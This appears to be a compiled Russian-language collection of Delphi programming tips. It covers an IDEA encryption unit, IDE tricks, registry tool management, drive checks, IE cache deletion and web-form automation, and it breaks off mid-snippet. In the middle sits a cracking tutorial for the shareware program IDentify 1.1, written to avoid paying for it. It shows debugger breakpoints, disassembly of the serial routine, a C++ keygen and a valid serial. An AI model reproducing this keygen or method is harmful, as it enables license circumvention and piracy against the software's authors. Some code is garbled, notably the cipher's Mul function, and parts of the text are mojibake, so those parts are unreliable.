t2 := -pz^;
Inc(pz);
// t3 = -*Z++;
t3 := -pz^;
Inc(pz);
// *--p = inv(*Z++);
Dec(pp);
pp^ := Inv(pz^);
Inc(pz);
// *--p = t2;
Dec(pp);
pp^ := t2;
// *--p = t3;
Dec(pp);
pp^ := t3;
// *--p = t1;
Dec(pp);
pp^ := t1;
end;
// t1 = *Z++;
t1 := pz^;
Inc(pz);
// *--p = *Z++;
Dec(pp);
pp^ := pz^;
Inc(pz);
// *--p = t1;
Dec(pp);
pp^ := t1;
// t1 = inv(*Z++);
t1 := Inv(pz^);
Inc(pz);
// t2 = -*Z++;
t2 := -pz^;
Inc(pz);
// t3 = -*Z++;
t3 := -pz^;
Inc(pz);
// *--p = inv(*Z++);
Dec(pp);
pp^ := Inv(pz^);
// *--p = t3;
Dec(pp);
pp^ := t3;
// *--p = t2;
Dec(pp);
pp^ := t2;
// *--p = t1;
Dec(pp);
pp^ := t1;
end;
{$R+,Q+}
////////////////////////////////////////////////////////////////////////////////
procedure CalculateSubKeys;
begin
ExpandKeys;
InvertKeys;
end;
////////////////////////////////////////////////////////////////////////////////
procedure Initialize(AKey: string);
begin
FBlockSize := 8;
FBufferSize := 2048;
FKey := AKey;
FKeySize := 32;
FillChar(Z, SizeOf(Z), 0);
FillChar(K, SizeOf(K), 0);
GetMem(FKeyPtr, FKeySize);
FillChar(FKeyPtr^, FKeySize, #0);
InvolveKey;
end;
////////////////////////////////////////////////////////////////////////////////
{$R-,Q-}
procedure Cipher(var Block: TIDEABlock; const Keys: TIDEAKey);
var
x1, x2, x3, x4 : Word;
t1, t2 : Word;
pz : ^Word;
r : Integer;
////////////////////////////////////////
function Mul(a,b: Word): Word;
var
p : LongWord;
begin
if (a > 0) then
begin
if (b > 0) then
begin
p := LongWord(a)*b;
b := p and $ffff;
a := p shr 16;
Result := ((b - a) + Ord(b end else Result := 1 - a;
end else Result := 1 - b;
end;
////////////////////////////////////////
begin
// x1 = *in++; x2 = *in++;
x1 := Block[1];
x2 := Block[2];
// x3 = *in++; x4 = *in;
x3 := Block[3];
x4 := Block[4];
pz := @Keys;
for r := 1 to Rounds do
begin
// MUL(x1,*Z++);
x1 := Mul(x1, pz^);
Inc(pz);
// x2 += *Z++;
x2 := x2 + pz^;
Inc(pz);
// x3 += *Z++;
x3 := x3 + pz^;
Inc(pz);
// MUL(x4, *Z++);
x4 := Mul(x4, pz^);
Inc(pz);
// t2 = x1^x3;
t2 := x1 xor x3;
// MUL(t2, *Z++);
t2 := Mul(t2, pz^);
Inc(pz);
// t1 = t2 + (x2^x4);
t1 := t2 + (x2 xor x4);
// MUL(t1, *Z++);
t1 := Mul(t1, pz^);
Inc(pz);
// t2 = t1+t2;
t2 := (t1 + t2);
// x1 ^= t1;
x1 := x1 xor t1;
// x4 ^= t2;
x4 := x4 xor t2;
// t2 ^= x2;
t2 := t2 xor x2;
// x2 = x3^t1;
x2 := x3 xor t1;
// x3 = t2;
x3 := t2;
end;
// MUL(x1, *Z++);
x1 := Mul(x1, pz^);
Inc(pz);
// *out++ = x1;
Block[1] := x1;
// *out++ = x3 + *Z++;
Block[2] := x3 + pz^;
Inc(pz);
// *out++ = x2 + *Z++;
Block[3] := x2 + pz^;
Inc(pz);
// MUL(x4, *Z);
x4 := Mul(x4, pz^);
// *out = x4;
Block[4] := x4;
end;
{$R+,Q+}
////////////////////////////////////////////////////////////////////////////////
function EncipherBlock(var Block): Boolean;
begin
Cipher(TIDEABlock(Block), Z);
Result := TRUE;
end;
////////////////////////////////////////////////////////////////////////////////
function DecipherBlock(var Block): Boolean;
begin
Cipher(TIDEABlock(Block), K);
Result := TRUE;
end;
////////////////////////////////////////////////////////////////////////////////
// Главные функции ...
function EncryptCopy(DestStream, SourseStream : TStream; Count: Int64;
Key : string): Boolean;
var
Buffer : TIDEABlock;
PrCount : Int64;
AddCount : Byte;
begin
Result := True;
try
if Key = '' then
begin
DestStream.CopyFrom(SourseStream, Count);
Exit;
end;
Initialize(Key);
CalculateSubKeys;
PrCount := 0;
while Count - PrCount >= 8 do
begin
SourseStream.Read(Buffer, SizeOf(TIDEABlock));
EncipherBlock(Buffer);
DestStream.Write(Buffer, SizeOf(TIDEABlock));
Inc(PrCount, 8);
end;
AddCount := Count - PrCount;
if Count - PrCount <> 0 then
begin
SourseStream.Read(Buffer, AddCount);
DestStream.Write(Buffer, AddCount);
end;
except
Result := False;
end;
end;
////////////////////////////////////////////////////////////////////////////////
function DecryptCopy(DestStream, SourseStream : TStream; Count: Int64;
Key : string): Boolean;
var
Buffer : TIDEABlock;
PrCount : Int64;
AddCount : Byte;
begin
Result := True;
try
if Key = '' then
begin
DestStream.CopyFrom(SourseStream, Count);
Exit;
end;
Initialize(Key);
CalculateSubKeys;
PrCount := 0;
while Count - PrCount >= 8 do
begin
SourseStream.Read(Buffer, SizeOf(TIDEABlock));
DecipherBlock(Buffer);
DestStream.Write(Buffer, SizeOf(TIDEABlock));
Inc(PrCount, 8);
end;
AddCount := Count - PrCount;
if Count - PrCount <> 0 then
begin
SourseStream.Read(Buffer, AddCount);
DestStream.Write(Buffer, AddCount);
end;
except
Result := False;
end;
end;
////////////////////////////////////////////////////////////////////////////////
function EncryptStream(DataStream: TStream; Count: Int64; Key: string): Boolean;
var
Buffer : TIDEABlock;
PrCount : Int64;
AddCount : Byte;
begin
Result := True;
try
if Key = '' then
begin
DataStream.Seek(Count, soFromCurrent);
Exit;
end;
Initialize(Key);
CalculateSubKeys;
PrCount := 0;
while Count - PrCount >= 8 do
begin
DataStream.Read(Buffer, SizeOf(TIDEABlock));
EncipherBlock(Buffer);
DataStream.Seek(-SizeOf(TIDEABlock), soFromCurrent);
DataStream.Write(Buffer, SizeOf(TIDEABlock));
Inc(PrCount, 8);
end;
except
Result := False;
end;
end;
////////////////////////////////////////////////////////////////////////////////
function DecryptStream(DataStream: TStream; Count: Int64; Key: string): Boolean;
var
Buffer : TIDEABlock;
PrCount : Int64;
begin
Result := True;
try
if Key = '' then
begin
DataStream.Seek(Count, soFromCurrent);
Exit;
end;
Initialize(Key);
CalculateSubKeys;
PrCount := 0;
while Count - PrCount >= 8 do
begin
DataStream.Read(Buffer, SizeOf(TIDEABlock));
DecipherBlock(Buffer);
DataStream.Seek(-SizeOf(TIDEABlock), soFromCurrent);
DataStream.Write(Buffer, SizeOf(TIDEABlock));
Inc(PrCount, 8);
end;
except
Result := False;
end;
end;
// Завершение главных функций ...
////////////////////////////////////////////////////////////////////////////////
end.
А пользоваться этим модулем можно так. Нижеприведенный пример демонстрирует шифрование / дешифрование файла с использованием функций EncryptStream / DecryptStream:

procedure TForm1.Button1Click(Sender: TObject); var SourseStream : TFileStream; begin SourseStream := TFileStream.Create(Edit1.Text, fmOpenReadWrite ); EncryptStream(SourseStream, SourseStream.Size, Edit2.Text); SourseStream.Free; end; procedure TForm1.Button2Click(Sender: TObject); var SourseStream : TFileStream; begin SourseStream := TFileStream.Create(Edit1.Text, fmOpenReadWrite ); DecryptStream(SourseStream, SourseStream.Size, Edit2.Text); SourseStream.Free; end;
ПРИМЕЧАНИЕ: Так как алгоритм шифрует данные блоками по 8 байт, а размер шифруемых данных не всегда кратен 8, поэтому в данном модуле последний блок, если он размером больше нодя и меньше восьми, не шифруется. Поэтому, если функцию шифрования обозначить e(x), а Srt1 и Str2 - шифруемые данные, то e(Str1) + e(Str2) не всегда равно e(Str1 + Str2).
Матвеев Игорь Владимирович.
Пишем КейГен для IDentify - Version 1.1.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
Адрес: http://www.imptec.com Вступление: Я так и не разобрался чего делает эта прога, понял только, что стоит она $15 а это 2 моих месячных стипендии. Я решил н ждать 2 месяца, а получить прогу уже сейчас :) Поехали: Ставим Брекпоинт: bpx GetWindowTextA нажимаем 1 раз F5 а затем 4 раза F12 чтобы выйти из вложенных функций, мы окажемся здесь:015F:004021E0 E865110200 CALL 0042334A 015F:004021E5 83EC04 SUB ESP,04 015F:004021E8 8B45F0 MOV EAX,[EBP-10] 015F:004021EB 83C060 ADD EAX,60 015F:004021EE 8965E8 MOV [EBP-18],ESP 015F:004021F1 50 PUSH EAX 015F:004021F2 8B4DE8 MOV ECX,[EBP-18] 015F:004021F5 E88B200200 CALL 00424285 015F:004021FA C745FC00000000 MOV DWORD PTR [EBP-04],00000000 015F:00402201 C745FCFFFFFFFF MOV DWORD PTR [EBP-04],FFFFFFFF 015F:00402208 8D4DE4 LEA ECX,[EBP-1C] 015F:0040220B 51 PUSH ECX 015F:0040220C 8B4DF0 MOV ECX,[EBP-10] 015F:0040220F E89C000000 CALL 004022B0 <--генерация правильного СН по имениЗайдём в последнюю функцию(F8):
015F:004022C1 64892500000000 MOV FS:[00000000],ESP 015F:004022C8 83EC48 SUB ESP,48 015F:004022CB C745FC01000000 MOV DWORD PTR [EBP-04],00000001 015F:004022D2 56 PUSH ESI 015F:004022D3 8D4DF0 LEA ECX,[EBP-10] 015F:004022D6 33F6 XOR ESI,ESI 015F:004022D8 8975EC MOV [EBP-14],ESI 015F:004022DB E8951F0200 CALL 00424275 015F:004022E0 8B450C MOV EAX,[EBP+0C] 015F:004022E3 33D2 XOR EDX,EDX <--обнулили счётчик цикла 015F:004022E5 C645FC02 MOV BYTE PTR [EBP-04],02 015F:004022E9 8B48F8 MOV ECX,[EAX-08] <--Длинна имени 015F:004022EC 3BD1 CMP EDX,ECX <--конец цикла? 015F:004022EE 730D JAE 004022FD <--прыгаем 015F:004022F0 8B450C MOV EAX,[EBP+0C] 015F:004022F3 42 INC EDX 015F:004022F4 0FBE4410FF MOVSX EAX,BYTE PTR [EDX+EAX-01] <--по очереди в цикле загружаем в EAX каждый символ имени и... 015F:004022F9 03F0 ADD ESI,EAX <--суммируем все символы в ESI 015F:004022FB EBEF JMP 004022EC <--повтор циклаТ.Е. после выполнения вышеописанного кода у нас в ESI сумма всех символов имени, а в ECX Длинна имени. Смотрим дальше:
015F:004022FD 83C105 ADD ECX,05 015F:00402300 83C605 ADD ESI,05 015F:00402303 0FAFCE IMUL ECX,ESI 015F:00402306 8D1489 LEA EDX,[ECX*4+ECX] 015F:00402309 8BC1 MOV EAX,ECX 015F:0040230B 6A0A PUSH 0A 015F:0040230D 8D0C90 LEA ECX,[EDX*4+EAX] <-- ECX=EDX*4+EAX 015F:00402310 8D34C8 LEA ESI,[ECX*8+EAX] <-- ESI=ECX*8+EAX 015F:00402313 8D1470 LEA EDX,[ESI*2+EAX] <-- EDX=ESI*2+EAXТут идут математические действия очень простые. Аналогично такому выражению: EDX=(( ((сумма_всех_символов+5)*(длинна_имени+5)*5) *4+(сумма_всех_символов+5)*(длинна_имени+5))*8+(сумма_всех_символов+5)*(длинна_имени+5))*2+(сумма_всех_символов+5)*(длинна_имени+5) Затем мы видим:
015F:00402319 50 PUSH EAX 015F:0040231A 52 PUSH EDX <--сохранили EDX 015F:0040231B E8207C0100 CALL 00419F40 <--функция перевода EDX из 16-ричной в 10-чную систему и запись результата в виде текстовой строки. 015F:00402320 83C40C ADD ESP,0C 015F:00402323 8D4DF0 LEA ECX,[EBP-10] 015F:00402326 68F8924300 PUSH 004392F8 015F:0040232B E8ED210200 CALL 0042451D <--Вначале СН дописываем два символа "2D"И получившаяся строка и есть правильный СН. УрА! Я написал на C++ кейген, вот он:
#include <iostream.h>
#include <conio.h>
void main()
{
char *name;
long serial,sum=0;
int i;
cout<<"IDentify! - Version 1.1 KeyGen"<<"\n";
cout<<"CrAcKeD bY VaLLk0r [PTDS]"<<"\n";
cout<<"http://vallkor.chat.ru"<<"\n";
cout<<"Enter your name:";
cin>>name;
for (i=0;name[i]!=0;i++)
{
sum+=name[i];
}
serial=((((sum+5)*(i+5)*5) *4+(sum+5)*(i+5))*8+(sum+5)*(i+5))*2+(sum+5)*(i+5);
cout<<"\n"<<"Serial: 2D"<<serial;
getch();
}
Для моего имени (vallkor) СН оказался: 2D3124224
Вводим эти данные и мы зарегестрированные пользователи.
ВсЁ!
Исследовал и наваял туториал:
vallkor //PTDS
E-mail: vallkor@chat.ru (vallkor@etel.dn.ua)
Page: http://vallkor.chat.ru
Активизация и использование в IDE окна CPU.

| CPU not found! Users software emulation! |
Хорошим примером, где различный код выполняет одну и ту же работу, но делает это с разной скоростью, является использование конструкции "with object do". Исходный код с многократным использованием конструкции "with object do" будет длиннее, но ассемблерный код короче. Вспомните, сколько раз вы устанавливали свойства для динамически создаваемых объектов? Код:
with TObject.create do begin property1 := ; property2 := ; property3 := ; end; |
Будет выполняться быстрее, чем.
MyObj := TObject.create; MyObj.Property1 := ; MyObj.Property2 := ; MyObj.Property3 := ; |
Записать и проиграть нажатие клавиш в IDE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
If you write a lot of code, you would probably have come across a situation where you need to record some keystrokes and play them back a number of times. You can now do this in the Delphi IDE by 1. pressing [Ctrl][Shift][R] to start recording, 2. type in the keystrokes you want repeated, and 3. press [Ctrl][Shift][R] to stop recording. 4. To Play back, press [Ctrl][Shift][P]. So kann ein Tastaturmakro in der Delphi IDE aufgezeichnet werden: 1. Eine Aufzeichnung wird durch Strg+Umschalt+R begonnen. 2. Anschliessend кцnnеn die aufzuzeichnenden Tastenkombinationen gеdгьскt werden. 3. Am Schluss der Aufzeichnung erneut Strg+Umschalt+R dгьскеn, um die Aufzeichnung zu beenden. 4. Zum Аиsfьhгеn des Makros Strg+Umschalt+P dгьскеn.Восстановить позицию по умолчанию панелей инструментов в IDE Delphi.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
Delphi 5 sometimes rearranges its toolbars seemingly at random (and rather stupidly) every time it starts or loads a project. Once it starts doing this, it is pointless to rearrange them and store the desktop, Delphi will just make a mess out of it again. I have not been able to find out, what causes this, but apparently the toolbar settings in the registry get corrupted. Deleting them, will restore the default> toolbars again. You can then customize them and Delphi will remember your settings. (Until next time the registry entries get corrupted. :-( ). (If you never experienced this problem, count yourself lucky, it is quite annoying.) The entries are under HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, just delete all entries. {********} Delphi 5 ordnet die Toolbars manchmal bei jedem Start und beim Laden von Projekten neu an, meist kommt dabei ziemlicher Bloedsinn heraus. Sie neu anzuordnen hilft nicht, da Delphi die Einstellungen gleich wieder verwurstet. Ich konnte nicht herausfinden, was dieses Phaenomen verursacht, aber anscheinend sind die Eintraege in der Registry, die diese Einstellungen speichern, ungueltig. Wenn man sie loescht, bekommt man wieder die Standardanordnung und anschliessend speichert Delphi evtl. vorgenommene Aenderungen auch wieder ab. (Bis sie zum naechsten Mal kaputtgehen. :-( ). (Wenn Du dieses Problem nie hattest, sei froh, es ist extrem nervig.) Die Eintrage, um die es geht, stehen unter HKEY_CURRENT_USER\Software\Delphi\5.0\Toolbars, einfach alle Eintraege loeschen.Программно управлять меню Инструменты в среде Delphi.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
//** class to manage Delphi's Tool list
//**
//** if Delphi is running restart it to see changes
//*************************************************************
unit DelphiTool;
interface
uses
Windows, SysUtils, Registry, classes;
type
TDelphiVersion = ({dvD5,} dvD6);
EDelphiTool_AlreadyRegistered = class(Exception);
EDelphiTool_InvalidIndex = class(Exception);
TDelphiTool = class
private
F_Registry: TRegistry;
F_ToolCount: Integer;
F_ToolPath: string;
protected
function OpenKey(key: string; CanCreate: Boolean): Boolean;
public
constructor Create;
destructor Destroy; override;
procedure SetRootKey(root_key: HKEY);
procedure SetDelphiVersion(version: TDelphiVersion);
procedure Add(params, path, title, workingDir: string);
procedure Edit(toolIndex: Integer; params, path, title, workingDir: string);
procedure Delete(toolIndex: Integer);
function IndexOf(toolTitle: string): Integer;
function Count: Integer;
procedure ToolProperties(toolIndex: Integer;
out params, path, title, workingDir: string);
end;
implementation
{ TDelphiTool }
constructor TDelphiTool.Create;
begin
inherited;
SetDelphiVersion(dvD6);
F_Registry := TRegistry.Create;
end;
destructor TDelphiTool.Destroy;
begin
F_Registry.CloseKey;
F_Registry.Free;
inherited;
end;
function TDelphiTool.IndexOf(toolTitle: string): Integer;
var
found: boolean;
loop: integer;
Count: integer;
begin
Result := -1;
if OpenKey(F_ToolPath, True) then
begin
loop := 0;
found := False;
while (loop < F_ToolCount) and not found do
begin
found := F_Registry.ReadString('Title' + IntToStr(loop)) = toolTitle;
if not found then Inc(loop);
end;
end;
if found then Result := loop;
end;
procedure TDelphiTool.SetRootKey(root_key: HKEY);
begin
F_Registry.RootKey := root_key;
end;
procedure TDelphiTool.Add(params, path, title, workingDir: string);
var
Count: integer;
suffix: string;
begin
if OpenKey(F_ToolPath, True) then
begin
try
if IndexOf(title) < 0 then
begin
Count := F_ToolCount;
suffix := IntToStr(Count);
Inc(Count);
F_registry.WriteString('Params' + suffix, params);
F_registry.WriteString('Path' + suffix, path);
F_registry.WriteString('Title' + suffix, title);
F_registry.WriteString('WorkingDir' + suffix, workingDir);
F_registry.WriteInteger('Count', Count);
F_ToolCount := Count;
end
else
raise EDelphiTool_AlreadyRegistered.Create('[Add]: Tool is already registered.');
finally
F_Registry.CloseKey;
end;
end
end;
function TDelphiTool.OpenKey(key: string; CanCreate: Boolean): Boolean;
begin
Result := F_Registry.OpenKey(key, CanCreate);
if F_Registry.ValueExists('Count') then F_ToolCount := F_Registry.ReadInteger('Count')
else
F_ToolCount := 0;
end;
procedure TDelphiTool.Edit(toolIndex: Integer; params, path, title, workingDir: string);
// if you don't want to change one property set to ''
var
suffix: string;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[Edit]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
if (params <> '') then
F_registry.WriteString('Params' + suffix, params);
if (path <> '') then
F_registry.WriteString('Path' + suffix, path);
if (title <> '') then
F_registry.WriteString('Title' + suffix, title);
if (workingDir <> '') then
F_registry.WriteString('WorkingDir' + suffix, workingDir);
finally
F_Registry.CloseKey;
end;
end
end;
end;
procedure TDelphiTool.Delete(toolIndex: Integer);
var
suffix, tmp_suffix: string;
i: integer;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[Delete]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
for i := toolIndex + 1 to F_ToolCount - 1 do
begin
tmp_suffix := IntToStr(i);
F_registry.WriteString('Params' + suffix,
F_registry.ReadString('Params' + tmp_suffix));
F_registry.WriteString('Path' + suffix,
F_registry.ReadString('Path' + tmp_suffix));
F_registry.WriteString('Title' + suffix,
F_registry.ReadString('Title' + tmp_suffix));
F_registry.WriteString('WorkingDir' + suffix,
F_registry.ReadString('WorkingDir' + tmp_suffix));
suffix := IntToStr(i);
end;
F_registry.DeleteValue('Params' + suffix);
F_registry.DeleteValue('Path' + suffix);
F_registry.DeleteValue('Title' + suffix);
F_registry.DeleteValue('WorkingDir' + suffix);
F_registry.WriteInteger('Count', F_ToolCount - 1);
Dec(F_ToolCount);
finally
F_Registry.CloseKey;
end;
end;
end;
end;
procedure TDelphiTool.SetDelphiVersion(version: TDelphiVersion);
//*************************************************************
// for versions other then D6 lookup the registry and add lines
// like below , also add dvDx entries to TDelphiVersion
begin
case version of
dvD6: F_ToolPath := '\Software\Borland\Delphi\6.0\Transfer';
//** don't have D5, just guessing, so check it in the registry
//** before uncommenting
// dvD5: F_ToolPath:= '\Software\Borland\Delphi\5.0\Transfer';
end;
end;
function TDelphiTool.Count: Integer;
begin
Result := F_ToolCount;
end;
procedure TDelphiTool.ToolProperties(toolIndex: Integer; out params, path,
title, workingDir: string);
var
suffix: string;
begin
if (toolIndex < 0) or (toolIndex >= F_ToolCount) then
raise EDelphiTool_InvalidIndex.Create('[ToolProperties]: Invalid index.')
else
begin
if OpenKey(F_ToolPath, True) then
begin
try
suffix := IntToStr(toolIndex);
params := F_registry.ReadString('Params' + suffix);
path := F_registry.ReadString('Path' + suffix);
title := F_registry.ReadString('Title' + suffix);
workingDir := F_registry.ReadString('WorkingDir' + suffix);
finally
F_Registry.CloseKey;
end;
end
end;
end;
end.
//*******************************************************************
//** how to use it?
//*******************************************************************
unit Unit1;
interface
uses
Windows, {...}, DelphiTool;
//...
//...
//...
var
Form1: TForm1;
implementation
procedure TForm1.Button1Click(Sender: TObject);
begin
with TDelphiTool.Create do
try
// Delete(IndexOf('MyTool'));
Add('', Application.ExeName, 'MyTool', ExtractFilePath(Application.ExeName));
// Edit(IndexOf('MyTool'), '', '', 'MyTool But Edited', '');
finally
Free;
end;
end;
Работа с IDE из программы.
Вот подпрограммы, работающие у меня в связке D1 и Win 3.1x:
function LaunchedFromDelphiIDE: Boolean;
{----------------------------------------------------------------}
{ Осуществляем проверку запущенности приложения из-под Delphi }
{ IDE. Идея взята из сообщения в Delphi-Talk от Ed Salgado }
{ из Eminent Domain Software. }
{----------------------------------------------------------------}
begin
LaunchedFromDelphiIDE := Bool(PrefixSeg) {т.е. не DLL} and
Bool(PWordArray(MemL[DSeg: 36])^[8]);
end; {LaunchedFromDelphiIDE}
function DelphiLoaded: Boolean;
{----------------------------------------------------------------}
{ Проверяем, загружена ли Delphi. Дает правильные результаты }
{ - если вызывающее приложение запущено отдельно, или из-под IDE}
{ - если Delphi имеет открытый проект }
{ - если Delphi минимизирована. }
{ Автор идеи Wade Tatman (wtatman@onramp.net). }
{----------------------------------------------------------------}
begin
DelphiLoaded := false;
if WindowExists('TPropertyInspector', 'Object Inspector') then
if WindowExists('TMenuBuilder', 'Menu Designer') then
if WindowExists('TAppBuilder', '(AnyName)') then
if WindowExists('TApplication', 'Delphi') then
if WindowExists('TAlignPalette', 'Align') then
DelphiLoaded := true;
end; {DelphiLoaded}
function DelphiInstalled: Boolean;
{----------------------------------------------------------------}
{ Проверяем наличие Delphi.ini, ищем в нем путь к Библиотеке }
{ Компонентов, после чего проверяем ее наличие по этому пути. }
{----------------------------------------------------------------}
var
IniFile: string;
begin
DelphiInstalled := false;
IniFile := WindowsDirectory + '\Delphi.ini';
if FileExists(IniFile) then
if FileExists(GetIni(IniFile, 'Library', 'ComponentLibrary')) then
DelphiInstalled := true;
end; {DelphiInstalled}
Я уверен, что один из приведенных выше методов вам поможет.Последние две
подпрограммы используют некоторые другие инкапсуляции Windows API и классов
Delphi, и они определены следующим образом:
function WindowExists(WindowClass, WindowName: string): Boolean;
{----------------------------------------------------------------}
{ С помощью паскалевских строк проверяем наличие определенного }
{ окна. Для поиска только имени окна (WindowName), используем }
{ WindowClass '(AnyClass)'; для поиска только класса окна }
{ (WindowClass), используем WindowName '(AnyName)'. }
{----------------------------------------------------------------}
var
PWindowClass, PWindowName: PChar;
AWindowClass, AWindowName: array[0..63] of Char;
begin
if WindowClass = '(AnyClass)' then
PWindowClass := nil
else
PWindowClass := StrPCopy(PChar(@AWindowClass), WindowClass);
if WindowName = '(AnyName)' then
PWindowName := nil
else
PWindowName := StrPCopy(PChar(@AWindowName), WindowName);
if FindWindow(PWindowClass, PWindowName) <> 0 then
WindowExists := true
else
WindowExists := false;
end; {WindowExists}
function WindowsDirectory: string;
{----------------------------------------------------------------}
{ Возвращаем путь к каталогу Windows (без обратной косой черты) }
{----------------------------------------------------------------}
const
BufferSize = 144;
var
ABuffer: array[0..BufferSize] of Char;
begin
if GetWindowsDirectory(PChar(@ABuffer), BufferSize) = 0 then
WindowsDirectory := ''
else
WindowsDirectory := StrPas(PChar(@ABuffer));
end; {WindowsDirectory}
function GetIni(const IniFile, Section, Entry: string): string;
{----------------------------------------------------------------}
{ Получаем инициализационную 'profile' строку из определенного }
{ пункта (Entry) определенной секции [Section] определенного }
{ INI-файла (дополняем '.ini', если отсутствует). Возвращаем }
{ нулевую строку, если IniFile, Section или Entry не найден. }
{----------------------------------------------------------------}
var
IniFileVar: string;
IniFileObj: TIniFile;
begin
if StrEndsWith(IniFile, '.ini') then
IniFileVar := IniFile
else
IniFileVar := IniFile + '.ini';
IniFileObj := TIniFile.Create(IniFileVar);
GetIni := IniFileObj.ReadString(Section, Entry, '');
IniFileObj.Free;
end; {GetIni}
|
Как проверить готовность диска А.
| Автор: Галимарзанов Фанис |
| Девица не готова - device not ready. |
function DiskInDrive(const Drive: char): Boolean;
var
DrvNum: byte;
EMode: Word;
begin
result := false;
DrvNum := ord(Drive);
if DrvNum >= ord('a') then
dec(DrvNum, $20);
EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
try
if DiskSize(DrvNum - $40) <> -1 then
result := true
else
messagebeep(0);
finally
SetErrorMode(EMode);
end;
end;
|
...можно для пущей функциональности добавить ряд строк:
function DiskInDrive(const Drive: char): Boolean;
var
DrvNum: byte;
EMode: Word;
begin
result := true; // было false
DrvNum := ord(Drive);
if DrvNum >= ord('a') then
dec(DrvNum, $20);
EMode := SetErrorMode(SEM_FAILCRITICALERRORS);
try
while DiskSize(DrvNum - $40) = -1 do
begin // при неудаче выводим диалог
if (Application.MessageBox('Диск не готов...' + chr(13) + chr(10) +
'Повторить?', PChar('Диск ' + UpperCase(Drive)), mb_OKCANCEL +
mb_iconexclamation {IconQuestion}) = idcancel) then
begin
Result := false;
Break;
end;
end;
finally
SetErrorMode(EMode);
end;
end;
|
Как проверить готовность диска А 2.
| После игры в покер виндозе выдает сообщение: - Вы проиграли 273 доллара. Вставьте их, пожалуйста, в дисковод А: и нажмите ANY KEY (если найдете). Что в этом случае делают... Ламер: С остервенелым видом начинает засовывать 273 доллара в флоповод А: и искать ANY KEY. Юзер: С жутко довольным видом давит ресет и бежит рассказывать друзьям о том, как он "взломал" покер. Хакер: За соседним компутером быстренько пишет прогу, эмулирующую засовывание 273 баксов в дисковод А:. Потом, в течение 3-4 недель пишет фиксы и апдэйты для эмуляции запихивания 274, 293 и 765 баксов в дисководы А:, В. Новый русский: Со всей дури бьет кулаком по флоповоду А: и начинает усердно искать в флоповоде В: сдачу... |
type
TDriveState(DS_NO_DISK, DS_UNFORMATTED_DISK, DS_EMPTY_DISK,
DS_DISK_WITH_FILES);
function DriveState(driveletter: Char): TDriveState;
var
mask: string[6];
sRec: TSearchRec;
oldMode: Cardinal;
retcode: Integer;
begin
oldMode: = SetErrorMode(SEM_FAILCRITICALERRORS);
mask := '?:\*.*';
mask[1] := driveletter;
{$I-} { не возбуждаем исключение при неудаче }
retcode := FindFirst(mask, faAnyfile, SRec);
FindClose(SRec);
{$I+}
case retcode of
0: Result := DS_DISK_WITH_FILES; { обнаружен по крайней мере один файл }
-18: Result := DS_EMPTY_DISK; { никаких файлов не обнаружено, но ok }
-21: Result := DS_NO_DISK; { DOS ERROR_NOT_READY }
else
Result := DS_UNFORMATTED_DISK; { в моей системе значение равно -1785!}
end;
SetErrorMode(oldMode);
end; { DriveState }
|
Ревизия для Win95:
case RetCode of
0: Result := DS_DISK_WITH_FILES;
-18: Result := DS_EMPTY_DISK;
else
Result := DS_NO_DISK;
end;
|
Как нажать кнопку в TWebBrowser, когда в окне есть несколько кнопок.
Автор: http://www.swissdelphicenter.ch
// If there is only one button, you can do something like:
WebBrowser1.OleObject.Document.forms.item(0).elements.item(0).click;
// This will do a click on the first element of the first <FORM>, where an
// element is either <INPUT>, <SELECT> or <TEXTAREA>.
// If there is more than one button, you can do something like:
procedure TForm1.Button1Click(Sender: TObject);
var
ovElements: OleVariant;
i: Integer;
begin
ovElements := WebBrowser1.OleObject.Document.forms.item(0).elements;
for i := 0 to (ovElements.Length - 1) do
if (ovElements.item(i).tagName = 'INPUT') and
(ovElements.item(i).type = 'SUBMIT') and
(ovElements.item(i).Value = 'Recent Charges') then
ovElements.item(i).Click;
end;
Удалить временные файлы IE.
| На конгрессе программистов зачитывают послание Президента России.... Пожелания удачи, и т.д. А в конце подпись - "Ваш Президент.Ру" |
uses
WinInet;
procedure DeleteIECache;
var
lpEntryInfo: PInternetCacheEntryInfo;
hCacheDir: LongWord;
dwEntrySize: LongWord;
begin
dwEntrySize := 0;
FindFirstUrlCacheEntry(nil, TInternetCacheEntryInfo(nil^), dwEntrySize);
GetMem(lpEntryInfo, dwEntrySize);
if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
hCacheDir := FindFirstUrlCacheEntry(nil, lpEntryInfo^, dwEntrySize);
if hCacheDir <> 0 then
begin
repeat
DeleteUrlCacheEntry(lpEntryInfo^.lpszSourceUrlName);
FreeMem(lpEntryInfo, dwEntrySize);
dwEntrySize := 0;
FindNextUrlCacheEntry(hCacheDir, TInternetCacheEntryInfo(nil^), dwEntrySize);
GetMem(lpEntryInfo, dwEntrySize);
if dwEntrySize > 0 then lpEntryInfo^.dwStructSize := dwEntrySize;
until not FindNextUrlCacheEntry(hCacheDir, lpEntryInfo^, dwEntrySize);
end;
FreeMem(lpEntryInfo, dwEntrySize);
FindCloseUrlCache(hCacheDir);
end;
// Beispiel:
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
DeleteIECache;
end;
|
Автоматическое заполнение web-форм в запущенном IE.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
This example shows how to automatically fill in a search string
in the "Search Tip" page and click the search button.
}
uses
MSHTML_TLB;
// first navigate to tipspage
procedure TForm1.Button1Click(Sender: TObject);
begin
Webbrowser1.Navigate('http://www.swissdelphicenter.ch/en/tipsuchen.php');
end;
// Try to access IE instance and fill out the search field with
// a text and click the search button
procedure TForm1.Button3Click(Sender: TObject);
var
hIE: HWND;
ShellWindow: IShellWindows;
WB: IWebbrowser2;
spDisp: IDispatch;
IDoc1: IHTMLDocument2;
Document: Variant;
k, m: Integer;
ovElements: OleVariant;
i: Integer;
begin
ShellWindow := CoShellWindows.Create;
// get the running instance of Internet Explorer
for k := 0 to ShellWindow.Count do
begin
spDisp := ShellWindow.Item(k);
